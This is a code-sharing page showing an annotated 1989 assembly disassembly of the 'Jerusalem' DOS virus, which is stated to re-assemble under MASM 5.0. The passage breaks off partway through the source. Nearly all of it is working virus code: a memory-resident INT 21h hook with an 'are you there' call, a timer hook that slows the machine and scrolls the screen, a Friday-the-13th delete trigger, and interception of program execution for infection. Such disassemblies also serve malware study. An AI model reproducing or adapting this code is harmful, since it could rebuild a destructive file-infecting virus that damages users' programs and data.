📄 jerusalm.asm
字号:
; The 'Jerusalem' virus
; Disassembled by Joe Hirst (Tel: 0273-26105) January 1989.
; The disassembly has been tested by re-assembly using MASM 5.0
RAM SEGMENT AT 0
; System data
ORG 3FCH
BW03FC DW ?
BB03FE DB ?
ORG 2CH
ENV_SG DW ? ; Segment address of environment
RAM ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:NOTHING,ES:RAM
START: JMP BP0010
DB 'sU'
VR_SIG DB 'MsDos'
VIR_RT EQU THIS DWORD
V_RTOF DW 0100H
V_RTSG DW 1C26H
DEL_SW DB 0 ; Delete program switch
BEGIN DW 0 ; Initial value for AX
F_SIZE DW 2A74H ; Total file size
INT_08 EQU THIS DWORD
I08OFF DW 00ABH ; Int 8 offset
I08SEG DW 17CDH ; Int 8 segment
INT_21 EQU THIS DWORD
I21OFF DW 1460H ; Int 21H offset
I21SEG DW 029FH ; Int 21H segment
INT_24 EQU THIS DWORD
I24OFF DW 0556H ; Int 24H offset
I24SEG DW 189BH ; Int 24H segment
TCOUNT DW 3A53H ; Timer count
; Fields passed by spare virus call
SPAR01 DW 0 ; 00 Spare call field 1 - AX
SP_RET EQU THIS DWORD
SPAR02 DW 0 ; 02 Spare call field 2 - IP
SPAR03 DW 0 ; 04 Spare call field 3 - CS
SPAR04 DW 0 ; 06 Spare call field 4 - SP
SPAR05 DW 0 ; 08 Spare call field 5 - SS
SPAR06 DW 0 ; 0A Spare call field 6
SPAR07 DW 0 ; 0C Spare call field 7
SPAR08 DW 0 ; 0E Spare call field 8
ST_ES1 DW 1BB5H ; Original ES
SET_PA DW 0080H
; Program parameter block
PPB_01 DW 0 ; Environment address
PPB_02 DW 0080H ; Command line offset
PPB_03 DW 1BB5H ; Command line segment
PPB_04 DW 005CH ; FCB1 offset
PPB_05 DW 1BB5H ; FCB1 segment
PPB_06 DW 006CH ; FCB2 offset
PPB_07 DW 1BB5H ; FCB2 segment
PRG_SP DW 0710H ; Initial stack pointer store
PRG_SS DW 14EDH ; Initial stack segment store
PROGRM EQU THIS DWORD
PRGOFF DW 00C5H ; Initial code offset store
PRGSEG DW 14EDH ; Initial code segment store
SS_ST1 DW 0246H
SS_ST2 DB 00A1H
EXE_SW DB 0 ; EXE switch - 0 = .COM extension
; .EXE header store
EXEHED DB 4DH, 5AH ; 00 .EXE header ident
EXHD01 DW 00F0H ; 02 Bytes in last page
EXHD02 DW 00B2H ; 04 Size of file in pages
EXHD03 DW 0138H ; 06 Number of relocation entries
EXHD04 DW 0060H ; 08 Size of header in paragraphs
EXHD05 DW 06D3H ; 0A Minimum extra storage required
EXHD06 DW -1 ; 0C Maximum extra storage required
EXHD07 DW 155EH ; 0E Initial stack segment
EXHD08 DW 0710H ; 10 Initial stack pointer
EXHD09 DW 1984H ; 12 Negative checksum
EXHD10 DW 00C5H ; 14 Initial code offset
EXHD11 DW 155EH ; 16 Initial code segment
DB 01EH, 000H, 000H, 000H
SIGBUF DB 037H, 020H, 02AH, 02AH, 02AH
F_HAND DW 5 ; File handle
F_ATTS DW 0020H ; File attributes
F_DATE DW 0F30H ; File date
F_TIME DW 6000H ; File time
BYTSEC DW 0200H ; Bytes per sector
PARAGR DW 0010H ; Size of a paragraph
F_SIZ1 DW 5BE0H ; Low-order file size
F_SIZ2 DW 1 ; High-order file size
F_PATH EQU THIS DWORD
FPTHOF DW 41B9H ; Program pathname offset
FPTHSG DW 9B2AH ; Program pathname segment
COM_CM DB 'COMMAND.COM'
MEM_SW DW 1 ; Memory allocated switch
DB 4 DUP (0)
; This section seems to assume a COM origin of 100H
BP0010:
CLD
MOV AH,0E0H ; Virus "are you there" call
INT 21H ; DOS service (Virus - 1)
CMP AH,0E0H ; Test for unchanged
JNB BP0020 ; Branch if invalid reply
CMP AH,3 ; Test for standard "yes"
JB BP0020 ; Branch if non-standard
MOV AH,0DDH ; Replace program
MOV DI,0100H ; Initial offset
MOV SI,OFFSET ENDADR ; Length of virus
ADD SI,DI ; Add initial offset
MOV CX,CS:F_SIZE[DI] ; Get total filesize
INT 21H ; DOS service (Virus - 2)
BP0020:
MOV AX,CS ; Get current segment
ADD AX,10H ; Address past PSP
MOV SS,AX ; \ Set up stack
MOV SP,0700H ; /
PUSH AX ; Segment for return
MOV AX,OFFSET BP0030 ; \ Offset for return
PUSH AX ; /
RETF ; "Return" to next instruction
; We now have an origin of zero
BP0030:
CLD
PUSH ES
MOV ST_ES1,ES ; Save original ES
MOV PPB_03,ES ; \
MOV PPB_05,ES ; ) Segments in PPB
MOV PPB_07,ES ; /
MOV AX,ES ; \ Segment relocation factor
ADD AX,10H ; /
ADD PRGSEG,AX ; Initial code segment store
ADD PRG_SS,AX ; Initial stack segment store
MOV AH,0E0H ; Virus "are you there" call
INT 21H ; DOS service (Virus - 1)
CMP AH,0E0H ; Test for unchanged
JNB BP0040 ; Branch if not
CMP AH,3 ; Test for standard "yes"
POP ES
MOV SS,PRG_SS ; Initial stack segment store
MOV SP,PRG_SP ; Initial stack pointer store
JMP PROGRM ; Start of actual program
; Virus is not already active
BP0040:
XOR AX,AX ; \ Address page zero
MOV ES,AX ; /
MOV AX,BW03FC ; \ Save system area data (1)
MOV SS_ST1,AX ; /
MOV AL,BB03FE ; \ Save system area data (2)
MOV SS_ST2,AL ; /
MOV BW03FC,0A5F3H ; Store REPZ MOVSW
MOV BB03FE,0CBH ; Store RETF
POP AX ; \
ADD AX,10H ; ) Address past PSP
MOV ES,AX ; /
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV CX,OFFSET ENDADR ; Length of virus
SHR CX,1 ; Divide by two (word parameter)
XOR SI,SI
MOV DI,SI
PUSH ES
MOV AX,OFFSET BP0050
PUSH AX
DB 0EAH ; \ Far jump to move instruction
DW BW03FC, 0 ; /
BP0050:
MOV AX,CS
MOV SS,AX
MOV SP,0700H
XOR AX,AX ; \ Address page zero
MOV DS,AX ; /
ASSUME DS:RAM,ES:NOTHING
MOV AX,SS_ST1 ; \ Restore system area data (1)
MOV BW03FC,AX ; /
MOV AL,SS_ST2 ; \ Restore system area data (2)
MOV BB03FE,AL ; /
MOV BX,SP
MOV CL,4
SHR BX,CL
ADD BX,10H
MOV SET_PA,BX ; Save number of paragraphs
MOV AH,4AH ; Set block
MOV ES,ST_ES1 ; Get original ES
INT 21H ; DOS service (Set block)
MOV AX,3521H ; Get interrupt 21H
INT 21H ; DOS service (Get int)
MOV I21OFF,BX ; Save interrupt 21H offset
MOV I21SEG,ES ; Save interrupt 21H segment
PUSH CS ; \ Set DS to CS
POP DS ; /
ASSUME DS:CODE
MOV DX,OFFSET BP0130 ; Interrupt 21H routine
MOV AX,2521H ; Set interrupt 21H
INT 21H ; DOS service (Set int)
MOV ES,ST_ES1 ; Get original ES
ASSUME ES:RAM
MOV ES,ES:ENV_SG ; Get environment segment
XOR DI,DI ; Start of environment
MOV CX,7FFFH ; Allow for 32K environment
XOR AL,AL ; Search for zero
BP0060:
REPNZ SCASB ; Find zero
CMP ES:[DI],AL ; Is following character zero
LOOPNZ BP0060 ; Search again if not
MOV DX,DI ; Save pointer
ADD DX,3 ; Address pathname
MOV AX,4B00H ; Load and execute program
PUSH ES ; \ Set DS to ES
POP DS ; /
PUSH CS ; \ Set ES to CS
POP ES ; /
ASSUME DS:RAM,ES:NOTHING
MOV BX,OFFSET PPB_01 ; PPB (for load and execute)
PUSH DS
PUSH ES
PUSH AX
PUSH BX
PUSH CX
PUSH DX
MOV AH,2AH ; Get date
INT 21H ; DOS service (Get date)
MOV DEL_SW,0 ; Set delete program switch off
CMP CX,07C3H ; Year = 1987
JZ BP0080 ; Branch if yes
CMP AL,5 ; Day of week = Friday
JNZ BP0070 ; Branch if not
CMP DL,0DH ; Day of month = 13
JNZ BP0070 ; Branch if not
INC DEL_SW ; Set delete program switch on
JMP BP0080
BP0070:
MOV AX,3508H ; Get interrupt 8
INT 21H ; DOS service (Get int)
MOV I08OFF,BX ; Save interrupt 8 offset
MOV I08SEG,ES ; Save interrupt 8 segment
PUSH CS ; \ Set DS to CS
POP DS ; /
ASSUME DS:CODE
MOV TCOUNT,7E90H ; Start clock count (30 mins)
MOV AX,2508H ; Set interrupt 8
MOV DX,OFFSET BP0100 ; Interrupt 8 routine
INT 21H ; DOS service (Set int)
BP0080:
POP DX
POP CX
POP BX
POP AX
POP ES
POP DS
ASSUME DS:NOTHING
PUSHF ; Fake an interrupt
CALL INT_21 ; Interrupt 21H (Load and execute)
PUSH DS ; \ Set ES to DS
POP ES ; /
MOV AH,49H ; Free allocated memory
INT 21H ; DOS service (Free memory)
MOV AH,4DH ; Get return code of child process
INT 21H ; DOS service (Get return code)
MOV AH,31H ; Keep process
MOV DX,OFFSET ENDKEEP ; Length of program
MOV CL,4 ; \ Convert to paragraphs
SHR DX,CL ; /
ADD DX,10H ; And another 256 bytes
INT 21H ; DOS service (Keep process)
; Interrupt 24H
BP0090:
XOR AL,AL ; Ignore the error
IRET
; Interrupt 8
BP0100:
CMP TCOUNT,2 ; Is timer ready
JNZ BP0110 ; Branch if not
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH BP
MOV AX,0602H ; Scroll up two lines
MOV BH,87H ; Blinking white on black
MOV CX,0505H ; Start row 5 column 5
MOV DX,1010H ; End row 16 column 16
INT 10H ; VDU I/O
POP BP
POP DX
POP CX
POP BX
POP AX
BP0110:
DEC TCOUNT ; Subtract from timer count
JNZ BP0120 ; Branch if not zero
MOV TCOUNT,1 ; Set back to one
PUSH AX
PUSH CX
PUSH SI
MOV CX,4001H ; \ Waste some time
REPZ LODSB ; /
POP SI
POP CX
POP AX
BP0120:
JMP INT_08 ; Interrupt 8
; Interrupt 21H
BP0130:
PUSHF
CMP AH,0E0H ; Virus "are you there" call
JNZ BP0140 ; Branch if other call
MOV AX,0300H ; Standard "yes"
POPF
IRET
BP0140:
CMP AH,0DDH ; Virus replace program call
JZ BP0160 ; Branch if yes
CMP AH,0DEH ; Virus spare call
JZ BP0170 ; Branch if yes
CMP AX,4B00H ; Is it load and execute
JNZ BP0150 ; Branch if not
JMP BP0210 ; Process load and execute
BP0150:
POPF
JMP CS:INT_21 ; Interrupt 21H
; Replace program call
BP0160:
POP AX
POP AX ; Retrieve return offset
MOV AX,100H ; Replace with start address
MOV V_RTOF,AX ; Store in return jump
POP AX ; Retrieve return segment
MOV V_RTSG,AX ; Store in return jump
REPZ MOVSB ; Restore program to beginning
POPF
MOV AX,BEGIN ; Start with zero register
JMP VIR_RT ; Start actual program
; Spare virus call
BP0170:
ADD SP,6 ; Remove three words from stack
POPF
MOV AX,CS ; \
MOV SS,AX ; ) Set up internal stack
MOV SP,OFFSET ENDADR ; /
PUSH ES
PUSH ES
XOR DI,DI
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV CX,10H ; Length to move
MOV SI,BX
MOV DI,OFFSET SPAR01
REPZ MOVSB ; Copy to SPAR01-SPAR08 inclusive
MOV AX,DS ; \ Set ES to DS
MOV ES,AX ; /
MUL PARAGR ; Size of a paragraph
ADD AX,SPAR06 ; \ Add
ADC DX,0 ; /
DIV PARAGR ; Size of a paragraph
MOV DS,AX
MOV SI,DX
MOV DI,DX
MOV BP,ES ; Save ES
MOV BX,SPAR08
OR BX,BX
JZ BP0190
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -